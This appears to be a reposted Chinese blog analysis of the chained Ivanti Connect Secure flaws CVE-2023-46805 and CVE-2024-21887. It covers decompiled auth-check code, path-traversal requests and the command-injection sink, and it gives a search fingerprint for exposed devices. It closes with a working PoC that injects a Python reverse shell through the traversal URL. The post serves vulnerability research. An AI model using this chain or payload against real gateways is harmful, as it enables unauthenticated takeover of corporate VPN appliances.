CVE-2023-46805&CVE-2024-21887 Ivanti connect secure RCE分析

admin 2024年3月7日08:07:38评论38 views字数 10374阅读34分34秒阅读模式

前言

有一个半月没发过文章了,简要地看了一下这个RCE链原理,以及博客网站换成了www.ch35tnut.com,原先的快到期了,看了一下续费要20刀,买个.com的一年才10刀,果断换成.com域名了。



基本信息

在Ivanti中存在身份认证绕过漏洞和命令注入漏洞,结合这两个漏洞未经身份验证的远程攻击者可以在目标ivanti connect secure上执行任意代码。

其中CVE-2023-46805为身份验证绕过漏洞,利用路径穿越,攻击者可以未授权访问后端敏感API。CVE-2024-21887为命令注入漏洞,攻击者可以利用该漏洞注入恶意命令并执行,结合这两个漏洞,未授权攻击者可以在ivanti connect secure上执行恶意命令。

指纹

hunter


web.title="Ivanti connect"


影响版本


Ivanti ICS 9.xIvanti ICS 22.x


环境搭建

使用Vmware导入ova镜像即可,而后在grub启动时将密钥拖出来,再到kali里面解密磁盘。


技术分析&调试

bin/dsstartws中会启动web服务器

#!/home/ecbuilds/int-rel/sa/22.2/bld657.1/install/perl5/bin/perl -T# -*- mode:perl; cperl-indent-level: 4; indent-tabs-mode:nil -*-
use lib ($ENV{'DSINSTALL'} =~ /(S*)/)[0] . "/perl";use strict;use DSSafe;
my ($install) = $ENV{'DSINSTALL'} =~ /(S*)/;
$SIG{HUP} = 'IGNORE';

if (!-e $install . "/runtime/webserver/conf/secure.crt" ) { system("/bin/mkdir -p " . $install . "/runtime/webserver/conf/"); system("/bin/cp " . $install . "/webserver/conf/ssl.crt/secure.crt " . $install . "/runtime/webserver/conf");}if (!-e $install . "/runtime/webserver/conf/intermediate.crt" ) { system("/bin/mkdir -p " . $install . "/runtime/webserver/conf/"); system("/bin/cp " . $install . "/webserver/conf/ssl.crt/intermediate.crt " . $install . "/runtime/webserver/conf");}if (!-e $ENV{'DSINSTALL'} . "/runtime/webserver/conf/secure.key" ) { system("/bin/mkdir -p " . $install . "/runtime/webserver/conf"); system("/bin/cp " . $install . "/webserver/conf/ssl.key/secure.key " . $install . "/runtime/webserver/conf");}
my $command = $install . "/bin/web -s " . $install . "/runtime/webserver/conf";exec($command) ;print "unable to run: $commandn";exit(-1);


省略时间,从分析文章中可以知道身份认证绕过位于/home/bin/web,反编译其代码,全局搜索/api/v1/totp/user-backup-code,查找引用。

转到doAuthCheck,可以看到会使用strncmp对请求url进行比较,如果url为如下之一,会直接返回true,也就是以下这些url在 doAuthCheck中不用经过身份验证。

当然在其他函数中对其他url进行了额外的校验,但对于/api/v1/totp/user-backup-code,不用身份验证。

  
if ( !memcmp(v17, "/dana-na/", 9u)    || !memcmp(*((const void **)a1 + 16), "/dana-cached/setup/", 0x13u)    || !memcmp(*((const void **)a1 + 16), "/dana-cached/sc/", 0x10u)    || !strncmp(s1, "/dana-cached/hc/", 0x10u)    || !strncmp(s1, "/dana-cached/cc/", 0x10u)    || !strncmp(s1, "/dana-cached/ep/", 0x10u)    || !strncmp(s1, "/dana-cached/psal/", 0x12u)    || !strncmp(s1, "/dana-cached/remediation/", 0x19u)    || !strncmp(s1, "/dana-ws/saml20.ws", 0x12u)    || !strncmp(s1, "/dana-ws/samlecp.ws", 0x13u)    || !strncmp(s1, "/adfs/ls", 8u)    || !strncmp(s1, "/api/v1/profiler/", 0x11u)    || !strncmp(s1, "/api/v1/cav/client/", 0x13u) && strncmp(s1, "/api/v1/cav/client/auth_token", 0x1Du) )  {    return 1;  }  sub_59C40(*((_DWORD *)a1 + 3));  if ( (unsigned __int8)sub_873D0() )    return 1;  v18 = (const char *)*((_DWORD *)a1 + 16);  if ( !strncmp(v18, "/api/v1/ueba/", 0xDu)    || !strncmp(v18, "/api/v1/integration/", 0x14u)    || !strncmp(v18, "/api/v1/dsintegration", 0x15u)    || !strncmp(v18, "/api/v1/pps/action/", 0x13u)    || !strncmp(v18, "/api/my-session", 0xFu)    || !strncmp(v18, "/api/v1/totp/user-backup-code", 0x1Du)    || !strncmp(v18, "/api/v1/esapdata", 0x10u)    || !strncmp(v18, "/api/v1/sessions", 0x10u)    || !strncmp(v18, "/api/v1/tasks", 0xDu)    || !strncmp(v18, "/api/v1/gateways", 0x10u)    || !strncmp(v18, "/_/api/aaa", 0xAu)    || !strncmp(v18, "/api/v1/oidc", 0xCu) )  {    return 1;  }


doAuthCheckdoDispatchRequest调用,当请求url以以下字符串开头则会转发给python rest server。

char __cdecl doDispatchRequest(DSLog::Debug *a1){...  if ( !doAuthCheck(a1, (unsigned int *)a1 + 44) )    return 0;......    if ( !memcmp(v5, "/api/v1/profiler/", 0x11u)      || !memcmp(v5, "/api/v1/cav/", 0xCu)      || !memcmp(v5, "/api/v1/ueba/", 0xDu)      || !memcmp(v5, "/api/v1/integration/", 0x14u)      || !memcmp(v5, "/api/my-session", 0xFu)      || !memcmp(v5, "/api/v1/dsintegration", 0x15u)      || !memcmp(v5, "/api/v1/sessions", 0x10u)      || !memcmp(v5, "/api/v1/tasks", 0xDu)      || !memcmp(v5, "/_/api/aaa", 0xAu)      || !memcmp(v5, "/api/v1/esapdata", 0x10u)      || !memcmp(v5, "/api/v1/totp/user-backup-code", 0x1Du)      || !memcmp(v5, "/api/v1/gateways", 0x10u)      || !memcmp(v5, "/api/aaa", 8u)      || !memcmp(v5, "/api/v1/pps/action/", 0x13u)      || !memcmp(v5, "/api/v1/oidc", 0xCu)      || (sub_59C40(*((_DWORD *)a1 + 3)), (unsigned __int8)sub_873D0())      || (v22 = *((_DWORD *)a1 + 16), (unsigned __int8)sub_853B0()) )    {      if ( !byte_13EB88 && __cxa_guard_acquire((__guard *)&byte_13EB88) )      {        v46 = "Watchdog";        if ( !*((_BYTE *)a1 + 240) )          v46 = "WebRequest";        dword_13EC80 = DSGetStatementCounter(                         "request.cc",                         5179,                         "doDispatchRequest",                         v46,                         10,                         "Dispatching to pyresthandler-server");        __cxa_guard_release((__guard *)&byte_13EB88);      }      ++*(_QWORD *)dword_13EC80;
}


由以上逻辑可知可以通过/api/v1/totp/user-backup-code和目录穿越绕过权限检查,访问python rest 服务。


➜  ivanti curl -ik --path-as-is https://192.168.59.38/api/v1/totp/user-backup-code/../../license/keys-statusHTTP/1.1 200 Connection established
HTTP/1.1 200 OKContent-Type: application/jsonContent-Length: 354
{"ive-licCount":0,"ive-maxccu":2,"ive-maxnuc":0,"ive-struct":{"node-data":[{"graceStr":"","hardware-id":"XXX","isReachable":1,"ive-cl-count":0,"ive-hostId":"localhost2","ive-name":"localhost2","ive-named-user-count":0,"ive-user-count":0,"license-keys":[],"num-lic":0,"serial-num":"XXX"}],"num-node":1}}

/api/v1/totp/user-backup-code路径仅存于22.3及以上,对于版本低的,需要使用/api/v1/cav/client/status/接口绕过权限验证。

  
if ( !memcmp(v17, "/dana-na/", 9u)    || !memcmp(*((const void **)a1 + 16), "/dana-cached/setup/", 0x13u)    || !memcmp(*((const void **)a1 + 16), "/dana-cached/sc/", 0x10u)    || !strncmp(s1, "/dana-cached/hc/", 0x10u)    || !strncmp(s1, "/dana-cached/cc/", 0x10u)    || !strncmp(s1, "/dana-cached/ep/", 0x10u)    || !strncmp(s1, "/dana-cached/psal/", 0x12u)    || !strncmp(s1, "/dana-cached/remediation/", 0x19u)    || !strncmp(s1, "/dana-ws/saml20.ws", 0x12u)    || !strncmp(s1, "/dana-ws/samlecp.ws", 0x13u)    || !strncmp(s1, "/adfs/ls", 8u)    || !strncmp(s1, "/api/v1/profiler/", 0x11u)    || !strncmp(s1, "/api/v1/cav/client/", 0x13u) && strncmp(s1, "/api/v1/cav/client/auth_token", 0x1Du) )  {    return 1;  }  sub_50540(*((_DWORD *)a1 + 3));  if ( (unsigned __int8)sub_7D260() )    return 1;  v18 = (const char *)*((_DWORD *)a1 + 16);  if ( !strncmp(v18, "/api/v1/ueba/", 0xDu)    || !strncmp(v18, "/api/v1/integration/", 0x14u)    || !strncmp(v18, "/api/v1/dsintegration", 0x15u)    || !strncmp(v18, "/api/v1/pps/action/", 0x13u)    || !strncmp(v18, "/api/my-session", 0xFu)    || !strncmp(v18, "/api/v1/esapdata", 0x10u)    || !strncmp(v18, "/api/v1/sessions", 0x10u)    || !strncmp(v18, "/api/v1/tasks", 0xDu)    || !strncmp(v18, "/api/v1/gateways", 0x10u)    || !strncmp(v18, "/_/api/aaa", 0xAu)    || !strncmp(v18, "/api/v1/oidc", 0xCu) )  {    return 1;  }


示例:

➜  ivanti curl -ik --path-as-is https://192.168.59.38/api/v1/cav/client/status/../../admin/optionsHTTP/1.1 200 Connection established
HTTP/1.1 200 OKContent-Type: application/jsonContent-Length: 46
{"poll_interval": 99999, "block_message": ""}


python rest 服务在restservice-0.1-py3.6.egg中实现,解压代码,可以在restserviceapi__init__.py中看到其定义了一系列API

api.add_resource(    Userrecordsynchronization,    "/api/v1/system/user-record-synchronization",    "/api/v1/system/user-record-synchronization/database/export",    "/api/v1/system/user-record-synchronization/database/import",    "/api/v1/system/user-record-synchronization/database/delete",    "/api/v1/system/user-record-synchronization/database/retrieve-stats",)api.add_resource(    WebProfile, "/api/v1/system/resource-profiles/web-profile/<path:applet_name>")api.add_resource(    ActiveSyncDevices,    "/api/v1/system/status/active-sync-devices/<path:active_sync_session_id>",    "/api/v1/system/status/active-sync-devices/<path:active_sync_session_id>/allow-access",    "/api/v1/system/status/active-sync-devices/<path:active_sync_session_id>/block-access",    "/api/v1/system/status/active-sync-devices",)api.add_resource(    AwsAzureTestConnection,    "/api/v1/system/maintenance/archiving/cloud-server-test-connection",)

全局搜索popen

➜ grep -ir "popen"restservice/api/resources/awsazuretestconnection.py:                    proc = subprocess.Popen(restservice/api/resources/config.py:        proc = subprocess.Popen(restservice/api/resources/config.py:        proc = subprocess.Popen(args, stdout=subprocess.PIPE)restservice/api/resources/config.py:        popen_args = [restservice/api/resources/config.py:            popen_args.append("--expand-href")restservice/api/resources/config.py:            popen_args.append("--exclude-pulse-packages")restservice/api/resources/config.py:        proc = subprocess.Popen(popen_args, stdout=subprocess.PIPE)restservice/api/resources/controller.py:        proc = subprocess.Popen(restservice/api/resources/controller.py:        proc = subprocess.Popen(restservice/api/resources/html5.py:        # proc = subprocess.Popen(smbClientCmd, shell=True, stdout=subprocess.PIPE)restservice/api/resources/license.py:        proc = subprocess.Popen(restservice/api/resources/license.py:                proc = subprocess.Popen(restservice/api/resources/license.py:            proc = subprocess.Popen(restservice/api/resources/license.py:            proc = subprocess.Popen(restservice/api/resources/license.py:            proc = subprocess.Popen(restservice/api/resources/localbackupsysconfiganduseracc.py:        proc = subprocess.Popen(restservice/api/resources/localbackupsysconfiganduseracc.py:                    proc = subprocess.Popen(restservice/api/resources/localbackupsysconfiganduseracc.py:        proc = subprocess.Popen(restservice/api/resources/nsaregistration.py:                proc = subprocess.Popen(restservice/api/resources/samlconfig.py:        o_fd = os.popen(cmd, "r", 1)restservice/api/resources/samlconfig.py:        o_fd = os.popen(cmd, "r", 1)restservice/api/resources/status.py:        ntpq_command_output = os.popen("ntpq -np").read().split("n")

restserviceapiresourceslicense.py中有如下代码,将nod_name参数直接拼接到了命令行中,

    
def get(self, url_suffix=None, node_name=None):        if request.path.startswith("/api/v1/license/keys-status"):            try:                dsinstall = os.environ.get("DSINSTALL")                if node_name == None:                    node_name = ""                proc = subprocess.Popen(                    dsinstall                    + "/perl5/bin/perl"                    + " "                    + dsinstall                    + "/perl/getLicenseCapacity.pl"                    + " getLicenseKeys "                    + node_name,                    shell=True,                    stdout=subprocess.PIPE,                )


node_name在路由中定义为url中的参数,同时由于指定了shell=True,导致可以通过;注入恶意命令

api.add_resource(    License,....    "/api/v1/license/keys-status/<path:node_name>",....    resource_class_kwargs={"ive_logger": ive_logger},)


POC

payload=$(echo ";python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("host",48989));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';" | xxd -p)
curl -ik --path-as-is https://host/api/v1/totp/user-backup-code/../../license/keys-status/$payload


小结

这个漏洞利用链利用了二进制文件中路径判断问题,使用目录穿越绕过权限验证访问后端接口,同时通过Popen的命令注入注入恶意命令并执行,构成了完整的利用链,由于没办法获取到补丁,所以暂时没办法分析ivanti怎么修复的该漏洞。


实际利用的时候发现建立的shell在一定时间后会被ivanti connect secure内部的完整性检查工具杀死,粗略的看了一下逻辑,有时间整理一篇文章。

利用截图

CVE-2023-46805&CVE-2024-21887 Ivanti connect secure RCE分析

参考链接

https://labs.watchtowr.com/welcome-to-2024-the-sslvpn-chaos-continues-ivanti-cve-2023-46805-cve-2024-21887/


https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US


https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805/rapid7-analysis


https://www.assetnote.io/resources/research/high-signal-detection-and-exploitation-of-ivantis-pulse-connect-secure-auth-bypass-rce

PoC

https://github.com/duy-31/CVE-2023-46805_CVE-2024-21887

原文始发于微信公众号(闲聊趣说):CVE-2023-46805&CVE-2024-21887 Ivanti connect secure RCE分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月7日08:07:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023-46805&CVE-2024-21887 Ivanti connect secure RCE分析https://cn-sec.com/archives/2553274.html

发表评论

匿名网友 填写信息